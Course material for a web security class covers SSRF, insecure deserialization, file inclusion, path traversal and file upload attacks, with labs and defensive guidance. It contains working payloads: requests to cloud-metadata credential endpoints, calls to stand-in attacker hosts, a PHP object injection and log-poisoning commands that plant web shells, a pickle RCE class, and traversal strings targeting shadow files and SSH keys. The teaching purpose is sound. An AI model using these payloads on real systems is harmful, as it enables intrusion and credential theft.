Week Content

Opening Framing: Beyond the Web Application

Web applications don't exist in isolation. They connect to internal services, cloud metadata endpoints, databases, and other backend systems. Server-side vulnerabilities exploit these connections, turning the web server into a pivot point for deeper attacks.

Server-Side Request Forgery (SSRF) makes the server fetch resources on your behalf—accessing internal networks you can't reach directly. Insecure deserialization turns data into code execution. File inclusion vulnerabilities read or execute files the application shouldn't access.

This week covers the server-side vulnerability classes that provide access beyond the web application itself.

Key insight: The web server has access you don't. Server-side vulnerabilities let you abuse that access.

1) Server-Side Request Forgery (SSRF)

Making the server request resources for you:

SSRF Concept:

Application fetches URL provided by user:
GET /fetch?url=https://example.com/image.jpg
Server downloads and returns image

Malicious request:
GET /fetch?url=http://localhost/admin
Server fetches its own admin panel!

Or:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
Server fetches AWS metadata (credentials!)

SSRF Targets:

# Localhost services:
http://localhost/admin
http://127.0.0.1/server-status
http://127.0.0.1:8080/manager

# Internal network:
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Cloud metadata (critical!):
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Alternative localhost representations:
http://127.1/
http://0.0.0.0/
http://[::1]/
http://localhost.localnet/
http://2130706433/ (decimal IP)

Finding SSRF:

# Features that might fetch URLs:

- PDF generators
- Image/file downloaders
- Webhooks
- Import from URL
- Preview features
- API integrations
- Proxy functionality

# Parameters to test:
url=
uri=
path=
dest=
redirect=
target=
link=
fetch=
site=
html=
data=
load=
request=

SSRF Bypass Techniques:

# If localhost is blocked:

# Alternative representations:
127.0.0.1 → 127.1
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hex)
127.0.0.1 → 017700000001 (octal)
127.0.0.1 → 127.0.0.1.nip.io

# DNS rebinding:
# Domain that resolves to 127.0.0.1
http://attacker-controlled-domain.com/
# First resolves to external IP (passes check)
# Then resolves to 127.0.0.1 (fetches internal)

# URL parsing confusion:
http://expected.com@evil.com/
http://evil.com#expected.com
http://expected.com.evil.com/

# Protocol wrappers:
file:///etc/passwd
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall
dict://localhost:6379/INFO

Blind SSRF:

# When you don't see the response:

# Out-of-band detection:
url=http://attacker-server.com/ssrf-test

# Check your server logs for request
# Use Burp Collaborator

# Time-based detection:
url=http://10.0.0.1:22/
# Port open = fast response
# Port closed/filtered = timeout

# Internal port scanning via SSRF:
for port in {1..1000}; do
  curl "https://target.com/fetch?url=http://localhost:$port/"
done
# Different response times/errors reveal open ports

Key insight: SSRF is critical in cloud environments. Metadata endpoints can leak credentials for complete takeover.

2) Insecure Deserialization

When untrusted data becomes objects:

Deserialization Concept:

Serialization: Object → Bytes (for storage/transfer)
Deserialization: Bytes → Object

If attacker controls the serialized data:
Malicious bytes → Dangerous object → Code execution

# The object reconstruction can trigger methods
# Those methods can execute arbitrary code

Identifying Serialized Data:

# Java serialized objects:
Start with: AC ED 00 05 (hex)
Base64: rO0AB...

# PHP serialized:
O:4:"User":2:{s:4:"name";s:5:"admin"...
a:2:{i:0;s:4:"test";i:1;s:5:"value";}

# Python pickle:
(dp0\nS'name'\np1\nS'admin'...
Base64 encoded pickle common

# .NET ViewState:
Often starts with: /wEP...

# Ruby Marshal:
\x04\x08...

# Node.js (node-serialize):
{"rce":"_$$ND_FUNC$$_function(){...}()"}

PHP Object Injection:

# PHP deserializes with unserialize()

# Vulnerable code:
$data = unserialize($_COOKIE['user_data']);

# If application has class with dangerous __destruct or __wakeup:

class Logger {
    public $logFile;
    public $logData;
    
    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}

# Payload to write web shell:
O:6:"Logger":2:{s:7:"logFile";s:18:"/var/www/shell.php";s:7:"logData";s:30:"<?php system($_GET['cmd']); ?>";}

# When deserialized and object is destroyed:
# Writes shell.php!

Java Deserialization:

# Java is notorious for deserialization RCE
# Libraries like Commons Collections are exploitable

# Detection:
# Look for base64 starting with rO0AB
# Or hex starting with AC ED 00 05

# Exploitation with ysoserial:
java -jar ysoserial.jar CommonsCollections5 'id' | base64

# Common gadget chains:
- CommonsCollections1-7
- Spring1-2
- Groovy1
- JRMPClient

# Where to inject:
- Cookies (often viewstate)
- Hidden form fields
- API parameters
- JMX services
- RMI

Detection and Tools:

# Burp extension: Java Deserialization Scanner
# Tests for common gadget chains

# ysoserial - Generate payloads:
java -jar ysoserial.jar [gadget] '[command]'

# PHP: PHPGGC - PHP Generic Gadget Chains
./phpggc Laravel/RCE1 system id

# Python: Generate pickle payloads
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

# Detection payloads (DNS callback):
# If DNS request received = deserializes attacker data

Key insight: Deserialization RCE is powerful but requires vulnerable classes (gadget chains) to be present.

3) File Inclusion Vulnerabilities

Including files the application shouldn't access:

File Inclusion Types:

Local File Inclusion (LFI):
- Include files from the server
- Read sensitive files
- Sometimes achieve RCE

Remote File Inclusion (RFI):
- Include files from remote server
- Direct RCE if enabled
- Requires allow_url_include (PHP)

Local File Inclusion (LFI):

# Vulnerable code (PHP):
include($_GET['page'] . '.php');

# Normal: ?page=about
# Includes: about.php

# Attack: ?page=../../../etc/passwd
# Tries to include: ../../../etc/passwd.php

# Null byte bypass (older PHP):
?page=../../../etc/passwd%00
# Null byte terminates string before .php

# Path truncation:
?page=../../../etc/passwd...........(many chars)
# May truncate .php extension

# PHP wrappers:
?page=php://filter/convert.base64-encode/resource=config
# Returns base64 of config.php

?page=php://input
# POST body becomes included content
# POST: <?php system('id'); ?>

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Base64 of: <?php system('id'); ?>

Interesting Files to Include:

# Linux:
/etc/passwd
/etc/shadow (if readable)
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log

# Web application:
../config.php
../wp-config.php
../.env
../application.properties

# Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log

LFI to RCE:

# Log poisoning:

1. Inject PHP into log file:
   # Via User-Agent:
   curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

2. Include the log file:
   ?page=../../../var/log/apache2/access.log&cmd=id

# Session file poisoning:
1. Set session variable containing PHP:
   # If session stores user input

2. Include session file:
   ?page=../../../var/lib/php/sessions/sess_[session_id]

# /proc/self/environ:
1. Inject PHP via User-Agent header
2. Include /proc/self/environ
   ?page=../../../proc/self/environ

Remote File Inclusion:

# Requires allow_url_include=On (rare)

# Host shell.txt on attacker server:
<?php system($_GET['cmd']); ?>

# Include remote file:
?page=http://attacker.com/shell.txt

# SMB share (Windows):
?page=\\attacker\share\shell.php

# Data wrapper (if allowed):
?page=data://text/plain,<?php system('id'); ?>

Key insight: LFI reads files; with creativity it achieves RCE. RFI is rare but gives immediate code execution.

4) Path Traversal

Accessing files outside intended directories:

Path Traversal Concept:

Application serves files from specific directory:
/var/www/uploads/

Request: /download?file=report.pdf
Serves: /var/www/uploads/report.pdf

Attack: /download?file=../../../etc/passwd
Serves: /etc/passwd

# Different from LFI: reads file, doesn't execute

Traversal Sequences:

# Basic traversal:
../
..\/
..\

# URL encoded:
%2e%2e%2f       (../)
%2e%2e/         (../)
..%2f           (../)
%2e%2e%5c       (..\)

# Double URL encoded:
%252e%252e%252f

# UTF-8 encoded:
%c0%ae%c0%ae%c0%af
..%c0%af

# Mixed case (Windows):
..\/
..\

# Bypassing filters:
....//          (if ../ removed once)
....\/
..../
.../

Testing Path Traversal:

# Common parameters:
file=
path=
folder=
document=
root=
pg=
style=
template=
php_path=
doc=

# Test payloads:
../../../etc/passwd
..\..\..\..\windows\win.ini
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

# Confirm with known file:
# Linux: /etc/passwd (contains "root:")
# Windows: C:\Windows\win.ini (contains "[fonts]")

Path Traversal Exploitation:

# Read sensitive files:

# Source code:
../../../var/www/html/config.php
../../../app/config/database.yml

# Credentials:
../../../etc/shadow
../../../home/user/.ssh/id_rsa
../../../root/.bash_history

# Configuration:
../../../etc/nginx/nginx.conf
../../../etc/apache2/apache2.conf

# Application secrets:
../../../var/www/html/.env
../../../opt/app/config/secrets.yml

# Combine with other vulns:
# Read source → Find more vulnerabilities
# Read credentials → Login/escalate

Key insight: Path traversal reveals files that expose further vulnerabilities—source code, credentials, configurations.

5) File Upload Vulnerabilities

Uploading malicious files to achieve code execution:

File Upload Attacks:

Goal: Upload file that executes as code

Challenges:
- Extension restrictions
- Content-Type validation
- File content inspection
- Upload directory restrictions

Bypass Techniques:

# Extension bypasses:

# Double extensions:
shell.php.jpg
shell.jpg.php

# Null byte (older systems):
shell.php%00.jpg
shell.php\x00.jpg

# Case variation:
shell.PHP
shell.pHp

# Alternative extensions:
.php3, .php4, .php5, .phtml, .phar
.asp, .aspx, .ashx, .asmx
.jsp, .jspx

# With dots/spaces:
shell.php.
shell.php (space)
shell.php....

# .htaccess upload (Apache):
# Upload .htaccess:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg - executes as PHP

Content-Type Bypass:

# Change Content-Type header:

Original:
Content-Type: application/x-php

Change to:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

# Magic bytes (file signature):
# Add image header before PHP:

GIF89a
<?php system($_GET['cmd']); ?>

# Or PNG header:
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>

# JPEG header:
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>

Upload Location Discovery:

# Find where files are uploaded:

# Response may reveal path:
{"path": "/uploads/abc123.jpg"}

# Predictable paths:
/uploads/
/images/
/files/
/attachments/
/media/

# Filename patterns:
/uploads/[original_name]
/uploads/[random]/[original_name]
/uploads/[timestamp]_[name]
/uploads/[hash].[extension]

# Brute force discovery:
ffuf -u https://target.com/uploads/FUZZ -w filenames.txt

Advanced Upload Attacks:

# ImageTragick (CVE-2016-3714):
# Malicious image processed by ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id")'
pop graphic-context

# SVG with XSS/XXE:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# ZIP slip (path traversal in archives):
# Filename in ZIP: ../../../var/www/html/shell.php
# Extracted outside intended directory

# Polyglot files:
# File that's valid as both image and PHP
# Passes image validation, executes as PHP

Key insight: File upload with execution = instant RCE. Bypass validation through extension and content tricks.

Real-World Context: Server-Side Attacks

Server-side vulnerabilities in practice:

Capital One Breach (2019): SSRF vulnerability allowed access to AWS metadata, exposing credentials that led to breach of 100+ million records. SSRF in cloud environments is especially dangerous.

Deserialization Epidemics: Java deserialization vulnerabilities have affected countless applications—Jenkins, WebLogic, JBoss. Once a gadget chain exists, exploitation becomes trivial.

File Upload Hall of Fame: Numerous breaches have resulted from file upload vulnerabilities. A single web shell provides persistent access and lateral movement opportunities.

MITRE ATT&CK Mapping:

• T1190 - Exploit Public-Facing Application: SSRF, file inclusion
• T1505.003 - Web Shell: File upload attacks
• T1083 - File and Directory Discovery: Path traversal

Key insight: Server-side vulnerabilities often provide the deepest access. SSRF to cloud metadata is a premium finding.

Guided Lab: Server-Side Vulnerability Testing

Practice server-side attacks on vulnerable applications.

Step 1: SSRF Testing

# Find URL fetching functionality
# Test with Burp Collaborator or own server:
url=http://your-server.com/ssrf-test

# If request received, SSRF exists

# Test internal access:
url=http://127.0.0.1/
url=http://localhost:8080/
url=http://169.254.169.254/latest/meta-data/

Step 2: File Inclusion Testing

# Find include/require parameters:
?page=home
?file=report
?template=default

# Test LFI:
?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=php://filter/convert.base64-encode/resource=index

Step 3: Path Traversal Testing

# Find file download/read parameters:
?file=document.pdf
?path=images/logo.png

# Test traversal:
?file=../../../etc/passwd
?file=....//....//etc/passwd

Step 4: File Upload Testing

# Upload simple PHP shell:
<?php system($_GET['cmd']); ?>

# Try bypass techniques:
- shell.php.jpg
- shell.phtml
- Change Content-Type
- Add GIF89a header

# Find uploaded file and test execution

Step 5: PortSwigger Labs

# Complete these labs:
# 1. Basic SSRF against localhost
# 2. SSRF with blacklist-based filter bypass
# 3. File path traversal, simple case
# 4. Remote code execution via web shell upload

# https://portswigger.net/web-security

Reflection (mandatory)

1. Which server-side vulnerability has the highest impact?
2. How does cloud infrastructure change SSRF risk?
3. What made your file upload bypass successful?
4. How would you defend against these attacks?

Week 09 Quiz

Test your understanding of Server-Side Vulnerabilities.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Week 9 Outcome Check

By the end of this week, you should be able to:

• Identify and exploit SSRF vulnerabilities
• Understand insecure deserialization attacks
• Test for local and remote file inclusion
• Exploit path traversal vulnerabilities
• Bypass file upload restrictions
• Understand server-side attack chains

Next week: API Security Testing—attacking the modern application interface.

🎯 Hands-On Labs (Free & Essential)

Apply what you learned through practical server-side vulnerability testing. Complete these labs before moving to reading resources.

💡 Lab Strategy: Start with SSRF (easier concept) to understand server-side attacks. Then tackle File Upload for RCE practice. Finally, study Deserialization (most complex, requires understanding object serialization). PortSwigger's 24 combined labs cover critical server-side attacks: 750 total XP, 9-12 hours of advanced exploitation training!

🛡️ Defensive Architecture & Secure Design Patterns

Server-side vulnerabilities are dangerous because the server is trusted by internal systems. Defensive architecture must constrain what the server can reach and execute.

SSRF and Network Segmentation

SSRF defense patterns:
- Block access to metadata IPs (169.254.169.254)
- Use allowlists for outbound requests
- Enforce DNS pinning and IP validation
- Segment internal services behind private networks

Secure File Handling

File upload controls:
- Validate extensions AND MIME types
- Store uploads outside web root
- Rename files and strip metadata
- Scan files before serving
- Serve files via proxy, not direct access

Real-World Breach: Equifax 2017 (Struts RCE)

A deserialization-like RCE in Apache Struts led to the compromise of 140+ million records. Lessons learned: patch management, WAF virtual patching, least-privilege service accounts, and segmentation reduce impact when server-side bugs are exploited.

Defensive Labs

📚 Building on CSY101 Week-13: Threat model server-side trust boundaries and attack chains. CSY101 Week-14: Map controls to NIST 800-53 (SI/SA) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize server-side fixes.

Reading Resources (Free + Authoritative)

Complete the required resources to build your foundation.

• PortSwigger - SSRF · 60-90 min · 50 XP · Resource ID: csy203_w9_r1 (Required)
• PortSwigger - File Upload · 45-60 min · 50 XP · Resource ID: csy203_w9_r2 (Required)
• PortSwigger - Deserialization · Reference · 25 XP · Resource ID: csy203_w9_r3 (Optional)

Lab: Comprehensive Server-Side Assessment

Goal: Test for and exploit multiple server-side vulnerability types.

Part 1: SSRF Assessment

1. Identify URL fetching functionality
2. Test for basic SSRF
3. Attempt localhost access
4. Test cloud metadata access
5. Try bypass techniques

Part 2: File Inclusion

1. Find include parameters
2. Test LFI with traversal
3. Test PHP wrappers
4. Attempt RCE via log poisoning

Part 3: Path Traversal

1. Find file access parameters
2. Test traversal sequences
3. Read sensitive files
4. Document encoding bypasses needed

Part 4: File Upload

1. Identify upload functionality
2. Test restriction bypasses
3. Upload and execute web shell
4. Document successful techniques

Part 5: Attack Chains

1. Combine vulnerabilities for greater impact
2. Document attack paths
3. Assess overall server-side security

Deliverable (submit):

• SSRF testing results
• File inclusion findings
• Path traversal documentation
• File upload bypass evidence
• Remediation recommendations

Checkpoint Questions

1. What is SSRF and why is it critical in cloud environments?
2. What is the difference between LFI and path traversal?
3. How can LFI be escalated to RCE?
4. What makes insecure deserialization dangerous?
5. What are three techniques for bypassing file upload restrictions?
6. How would you detect blind SSRF?

Weekly Reflection

Reflection Prompt (200-300 words):

This week you learned server-side vulnerabilities—attacks that exploit the server's trusted position to access internal resources, read files, and execute code.

Reflect on these questions:

• SSRF allows accessing cloud metadata with credentials. How should cloud deployments be secured against this?
• File upload vulnerabilities persist despite being well-known. What makes them difficult to prevent completely?
• Insecure deserialization requires specific "gadget chains." What does this mean for detection and exploitation?
• Server-side vulnerabilities often chain together. How would you document an attack chain for a client?

A strong reflection will connect vulnerability exploitation to defensive strategies and real-world impact.

Verified Resources & Videos

• SSRF: PayloadsAllTheThings - SSRF
• File Inclusion: PayloadsAllTheThings - LFI
• Deserialization: ysoserial - Java Deserialization

Server-side vulnerabilities provide deep access—to internal systems, to cloud credentials, to code execution. The techniques you've learned apply to modern applications everywhere. SSRF in cloud environments is particularly critical. Next week: API security testing, where these server-side concepts meet modern application architecture.